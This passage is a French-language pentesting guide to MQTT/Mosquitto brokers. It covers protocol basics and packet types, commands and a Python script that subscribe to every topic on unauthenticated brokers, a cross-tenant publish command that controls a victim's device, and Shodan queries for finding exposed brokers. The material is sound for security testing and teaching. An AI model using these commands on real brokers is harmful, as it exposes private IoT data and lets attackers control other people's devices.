1883 - Pentesting MQTT (Mosquitto)

Reading time: 7 minutes

Informations de base

MQ Telemetry Transport (MQTT) est connu comme un protocole de messagerie publication/abonnement qui se distingue par sa simplicité et sa légèreté extrêmes. Ce protocole est spécialement conçu pour les environnements où les appareils ont des capacités limitées et fonctionnent sur des réseaux caractérisés par une faible bande passante, une forte latence ou des connexions peu fiables. Les objectifs principaux de MQTT incluent la minimisation de l'utilisation de la bande passante réseau et la réduction de la demande sur les ressources des appareils. De plus, il vise à maintenir une communication fiable et à fournir un certain niveau de garantie de livraison. Ces objectifs rendent MQTT particulièrement adapté au domaine en pleine expansion de la communication machine-à-machine (communication M2M) et de l'Internet des Objets (IoT), où il est essentiel de connecter efficacement une multitude d'appareils. En outre, MQTT est très utile pour les applications mobiles, où préserver la bande passante et l'autonomie de la batterie est crucial.

Port par défaut : 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

Inspection du trafic

Lorsque un paquet CONNECT est reçu par les brokers MQTT, un paquet CONNACK est renvoyé. Ce paquet contient un code de retour qui est crucial pour comprendre l'état de la connexion. Un code de retour 0x00 signifie que les identifiants ont été acceptés, indiquant une connexion réussie. En revanche, un code de retour 0x05 indique que les identifiants sont invalides, empêchant ainsi la connexion.

Par exemple, si le broker refuse la connexion en raison d'identifiants invalides, le scénario ressemblerait à ceci :

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication est totalement optionnelle et même si authentication est effectuée, encryption n'est pas utilisée par défaut (credentials sont envoyés en clear text). MITM attacks peuvent toujours être exécutées pour voler des mots de passe.

Pour vous connecter à un service MQTT, vous pouvez utiliser : https://github.com/bapowell/python-mqtt-client-shell et vous abonner à tous les topics en faisant :

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

Vous pouvez également utiliser https://github.com/akamai-threat-research/mqtt-pwn

Vous pouvez aussi utiliser :

apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

Ou vous pouvez exécuter ce code pour tenter de vous connecter à un service MQTT sans authentification, vous abonner à tous les topics et les écouter :

#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

Le modèle Publish/Subscribe

Le modèle publish/subscribe est composé de :

• Publisher : publie un message vers un ou plusieurs topic(s) sur le broker.
• Subscriber : s’abonne à un ou plusieurs topic(s) sur le broker et reçoit tous les messages envoyés par le publisher.
• Broker : achemine tous les messages des publishers vers les subscribers.
• Topic : consiste en un ou plusieurs niveaux séparés par un slash (par ex., /smartshouse/livingroom/temperature).

Packet Format

Chaque paquet MQTT contient un entête fixe (Figure 02).Figure 02: Fixed Header

Packet Types

• CONNECT (1) : Initié par le client pour demander une connexion au serveur.
• CONNACK (2) : Accusé de réception du serveur confirmant une connexion réussie.
• PUBLISH (3) : Utilisé pour envoyer un message du client vers le serveur ou inversement.
• PUBACK (4) : Accusé de réception d’un paquet PUBLISH.
• PUBREC (5) : Partie d’un protocole de livraison garantissant que le message est reçu.
• PUBREL (6) : Assurance supplémentaire dans la livraison, indiquant la libération d’un message.
• PUBCOMP (7) : Partie finale du protocole de livraison, indiquant la complétion.
• SUBSCRIBE (8) : Requête d’un client pour écouter les messages d’un topic.
• SUBACK (9) : Accusé de réception du serveur pour une requête SUBSCRIBE.
• UNSUBSCRIBE (10) : Requête d’un client pour arrêter de recevoir des messages d’un topic.
• UNSUBACK (11) : Réponse du serveur à une requête UNSUBSCRIBE.
• PINGREQ (12) : Message de heartbeat envoyé par le client.
• PINGRESP (13) : Réponse du serveur au heartbeat.
• DISCONNECT (14) : Initié par le client pour terminer la connexion.
• Deux valeurs, 0 et 15, sont marquées comme réservées et leur utilisation est interdite.

IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass

De nombreuses plateformes IoT grand public exposent des brokers MQTT utilisés par deux rôles distincts :

• Des passerelles/hubs qui font le pont entre des protocoles radio (p.ex., BLE/LoRa/Zigbee) et le cloud.
• Des apps mobiles ou backends web qui contrôlent les appareils via des topics « app ».

Faiblesses courantes exploitables lors d'un pentest :

• MQTT en clair sur des ports non standard (p.ex., TCP/8001) au lieu de MQTTS. Tout observateur on-path peut lire les identifiants et les frames de contrôle. Utilisez Wireshark pour repérer le trafic en clair CONNECT/CONNACK et SUBSCRIBE/PUBLISH sur des ports inhabituels.
• ACLs de topic faibles ou absentes par locataire. Si les topics sont namespaced uniquement par deviceId (p.ex., "/tenantless//tx"), tout utilisateur authentifié pourrait envoyer des messages PUBLISH vers les appareils d'autres locataires.
• Fuites de données sensibles (leak) via des topics de maintenance/admin (p.ex., identifiants Wi‑Fi diffusés en clair après des changements de config).

Exemples (remplacez les placeholders par des valeurs réelles) :

Subscribe to potentially sensitive topics with known topic prefixes and device IDs:

# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

Contrôle inter-tenant lorsque les ACLs sont faibles (publish vers le device topic d’un autre tenant):

mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

• port:1883 MQTT
• Le MQTT en clair sur des ports non standard est courant dans l'IoT. Envisagez de rechercher des brokers sur des ports alternatifs et confirmez-le par détection du protocole.

Références

• How a $20 Smart Device Gave Me Access to Your Home